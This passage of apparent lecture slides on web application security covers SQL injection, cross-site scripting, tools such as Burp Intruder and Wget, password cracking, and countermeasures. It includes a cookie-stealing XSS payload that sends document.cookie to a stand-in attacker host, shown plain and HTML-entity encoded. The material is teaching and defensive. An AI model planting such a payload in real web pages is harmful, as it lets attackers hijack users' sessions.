Inserting SQL commands into the URL gets the database server to dump, alter, delete, or create information in the database.

Command injection
The hacker inserts programming commands into a web form.

Cookie poisoning and snooping
The hacker corrupts or steals cookies.

Buffer overflow

Shashi KS

Huge amounts of data are sent to a web application through a web form to execute commands.

Authentication hijacking

The hacker steals a session once a user has authenticated.

Directory traversal / Unicode

The hacker browses through the folders on a system via a web browser or Windows explorer.

Cross-site scripting

Shashi KS

Another broad class of vulnerabilities concerns input provided to a program by one user that is subsequently output to another user. Such attacks are known as cross-site scripting (XSS4) attacks because they are most commonly seen in scripted Web applications.

This vulnerability involves the inclusion of script code in the HTML content of a Web page displayed by a user's browser. The script code could be JavaScript, ActiveX, VBScript, Flash, or just about any client-side scripting language supported by a user's browser.

To support some categories of Web applications, script code may need to access data associated with other pages currently displayed by the user's browser.

Because this clearly raises security concerns, browsers impose security checks and restrict such data access to pages originating from the same site.

The assumption is that all content from one site is equally trusted and hence is permitted to interact with other content from that site

Cross-site scripting attacks exploit this assumption and attempt to bypass the browser's security checks to gain elevated access privileges to sensitive data belonging to another site. These data can include page contents, session cookies, and a variety of other objects.

Shashi KS

Attackers use a variety of mechanisms to inject malicious script content into pages returned to users by the targeted sites. The most common variant is the XSS reflection vulnerability.

The attacker includes the malicious script content in data supplied to a site. If this content is subsequently displayed to other users without sufficient checking, they will execute the script assuming it is trusted to access any data associated with that site.

Consider the widespread use of guestbook programs, wikis, and blogs by many Web sites. They all allow users accessing the site to leave comments, which are subsequently viewed by other users. Unless the contents of these comments are checked and any dangerous code removed, the attack is possible

Cross-site scripting attacks -Example

Consider the example shown in Figure a. If this text were saved by a guestbook application, then when viewed it displays a little text and then executes the JavaScript code. This code replaces the document contents with the information returned by the attacker's cookie script, which is provided with the cookie associated with this document. Many sites require users to register before using features like a guestbook application.

With this attack, the user's cookie is supplied to the attacker, who could then use it to impersonate the user on the original site. This example obviously replaces the page content being viewed with whatever the attacker's script returns. By using more sophisticated JavaScript code, it is possible for the script to execute with very little visible effect

```
Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+
document.cookie</script>
```

(a) Plain XSS example

Cross-site scripting attacks

```
Thanks for this information, its great!
&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;
&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;
&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;
&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;
&#47;&#47;&#104;&#97;&#99;&#107;&#101;&#114;
&#46;&#119;&#101;&#98;&#46;&#115;&#105;&#116;
&#101;&#47;&#99;&#111;&#111;&#107;&#105;&#101;
&#46;&#99;&#103;&#105;&#63;&#39;&#43;&#100;
&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;
&#99;&#111;&#111;&#107;&#105;&#101;&#60;&#47;
&#115;&#99;&#114;&#105;&#112;&#116;&#62;
```

(b) Encoded XSS example

Preventing cross side scripting attacks

To prevent this attack, any user-supplied input should be examined and any dangerous code removed or escaped to block its execution.

Shashi KS

While the example shown may seem easy to check and correct, the attacker will not necessarily make the task this easy. The same code is shown in Figure 11.5b, but this time all of the characters relating to the script code are encoded using HTML character entities.

While the browser interprets this identically to the code in Figure 11.5a, any validation code must first translate such entities to the characters they represent before checking for potential attack code.

XSS attacks illustrate a failure to correctly handle both program input and program output. The failure to check and validate the input results in potentially dangerous data values being saved by the program. However, the program is not the target. Rather it is subsequent users of the program, and the programs they use to access it, which are the target. If all potentially unsafe data output by the program are sanitized, then the attack cannot occur.

Instant Source allows a hacker to see and edit HTML source code. It can be used directly from within the web browser.

WebSleuth uses spidering technology to index an entire website. For example, WebSleuth can pull all the e-mail addresses from different pages of a website.

BlackWidow can scan and map all the pages of a website to create a profile of the site. SiteScope maps out the connections within a web application and aids in the deconstruction of the program.

WSDigger is a web services testing tool that contains sample attack plug-ins for SQL injection, cross-site scripting, and other web attacks.

Shashi KS

Web application Attack tools

What is a Web application?

Shashi KS

Web applications are programs that reside on a web server to give the user functionality beyond just a website.

Database queries, webmail, discussion groups, and blogs are all examples of web applications.

A web application uses a **client/server architecture, with a web browser as the client and the web server acting** as the application server. **JavaScript i**s a popular way to implement web applications.

Web application attack tools

Shashi KS

Instant Source allows a hacker to see and edit HTML source code. It can be used directly from within the web browser.

WebSleuth uses spidering technology to index an entire website. For example, WebSleuth can pull all the e-mail addresses from different pages of a website.

BlackWidow can scan and map all the pages of a website to create a profile of the site.

WSDigger is a web services testing tool that contains sample attack plug-ins for SQL injection, cross-site scripting, and other web attacks.

SiteScope maps out the connections within a web application and aids in the deconstruction of the program.

Wget Attack tool

Shashi KS

Wget is a command-line tool that a hacker can use to download an entire website, complete with all the files. The hacker can view the source code offline and test certain attacks prior to launching them against the real web server. With this command-line tool, a hacker can use to download an entire website, complete with all the files.
The hacker can view the source code offline and test certain attacks prior to launching them against the real web server

GNU Wget is a free network utility to retrieve files from the World Wide Web using HTTP and FTP, the two most widely used Internet protocols. It works non-interactively, thus enabling work in the background, after having logged off.

Wget works exceedingly well on slow or unstable connections, keeping getting the document until it is fully retrieved. Re-getting files from where it left off works on servers (both HTTP and FTP) that support it.

Wget supports proxy servers, which can lighten the network load, speed up retrieval and provide access behind firewalls.

Burp Suite / Burp Attack tool

Shashi KS

Burp Suite is a software package dedicated to **web security audits (web penetration tests)**. It has been developed by **PortSwigger, a leading company** in the world of web security.

Burp Suite, often referred to simply as Burp, is optimised and designed to meet the needs of professional pentesters, and is the most widely used tool in its field. It is a modular tool that allows both manual and automated tests to be carried out, helping pentesters to effectively identify vulnerabilities in web applications.

Burp suite is a vulnerability scanner and it contains different functions such as **proxy, intruder, scanner, decoder etc.**

- ✓ **Proxy: Proxy is used for intercepting our requests and its proxy functions.**
- ✓ **Intruder: Intruder contains different attacks which we can perform on a remote website like if you want to perform dictionary attack or brute force attack.**
- ✓ **Scanner: Scanner is used for scanning particular website and its vulnerability.**
- ✓ **Decoder: Decoder consist of different kind of functions which we can use in order to decode a particular thing like URL decode.**

Intruder (Burpsuite)

Shashi KS

Burp Suite contains Intruder, one of the suite of tools integrated along with Proxy, which allows for automation of many common attacks. It can also be used to guess passwords on web applications and perform man-in-the-middle attacks.

Intruder has different attack types such as **Sniper, Cluster Bomb, Pitchfork and Battering Ram.**

To target the password, a predefined list of passwords can be used. The passwords can be generated using various tools or, if the tester already has list of passwords, they can be pasted in.

Once all the passwords are added, click the Start Attack button. Intruder will iterate through the various password combinations. In this example, upon finding the correct password, **the response will show up in Intruder with a different status code and length.**

The meaning of the status codes are given below:

200 OK – This indicates the request has succeeded. The information returned with the response is dependent on the method used in the request.

302 Found – Intruder uses the correct password, the request is redirected to a different URI after a successful authentication from the server.

Web Application Countermeasures

Shashi KS

Countermeasures exist for common web application vulnerabilities. Following are countermeasures for each of the web application vulnerabilities :

Cross-site scripting
Validate cookies, query strings, form fields, and hidden fields.

SQL injection
Validate user variables.

Command injection
Use language-specific libraries for the programming language.

Buffer overflow

Validate user input length, and perform bounds checking

Cookie poisoning and snooping
Don’t store passwords in a cookie. Implement cookie timeouts, and authenticate cookies.

Web based Password-Cracking Countermeasures

Shashi KS

Authentication Types

Web servers and web applications support multiple authentication types like:
HTTP authentication, NTLM authentication, certificate-based, token-based, and biometric authentication.

There are two types of **HTTP authentication: basic and digest**. HTTP authentication sends the username and password in cleartext, whereas digest authentication hashes the credentials and uses a challenge-response model for authentication.

Web servers and web applications support NTLM, certificate-based, token-based, and biometric authentication. **NTLM authentication uses Internet Explorer and IIS web servers, making NTLM more suitable for internal authentication on an intranet that uses the Microsoft operating systems**. Windows 2000 and 2003 servers utilize Kerberos authentication for a more secure option.

Certificate-based authentication uses an x.509 certificate for public/private key technology. A token, such as SecurID, is a hardware device that displays an authentication code for 60 seconds; a user uses this code to log in to a network.

Biometric authentication uses **a physical characteristic such as fingerprint, eye iris, or handprint to authenticate the user.**

Password cracker

Shashi KS

A password cracker is a program designed to decrypt passwords or disable password protection. Password crackers rely on dictionary searches (attacks) or brute-force methods to crack passwords.

How Does a Password Cracker Work?

The first step in a dictionary attack is to is to generate a list of potential passwords that can be found in a dictionary. The hacker usually creates this list with a dictionary generator program or dictionaries that can be downloaded from the Internet.

Next, the list of dictionary words is hashed or encrypted. This hash list is compared against the hashed password the hacker is trying to crack.

The hacker can get the hashed password by sniffing it from a wired or wireless network or directly from the Security Accounts Manager (SAM) or shadow password files on the hard drive of a system. Finally, the program displays the unencrypted version of the password.

Dictionary password crackers can only discover passwords that are dictionary words. If the user has implemented a strong password, then brute-force password cracking can be implemented. **Brute-force password crackers try every possible combination of letters, numbers, and special characters, which takes much longer than a dictionary attack because of the number of permutations.**

Types of password attacks

Shashi KS

The three types of password attacks are as follows:

Dictionary
Uses passwords that can be found in a dictionary

Brute force
Guesses complex passwords that use letters, numbers, and special characters

Hybrid Uses dictionary words with a number or special character as a substitute for a letter

Hacking Tool :

Webcracker is a tool that uses a word list to attempt to log on to a web server. It looks for the “HTTP 302 object moved” response to make guesses on the password. From this response the tool can determine the authentication type in use and attempt to log on to the system

Password-Cracking Countermeasures

Shashi KS

The best password-cracking countermeasure is to implement strong passwords that are at least eight characters long (the old standard was six) and that include alphanumeric characters.

Usernames and passwords should be different, because many usernames are transmitted in cleartext.

Complex passwords that require uppercase, lowercase, and numbers or special characters are harder to crack.

You should also implement a strong authentication mechanism such as Kerberos or tokens to protect passwords in transit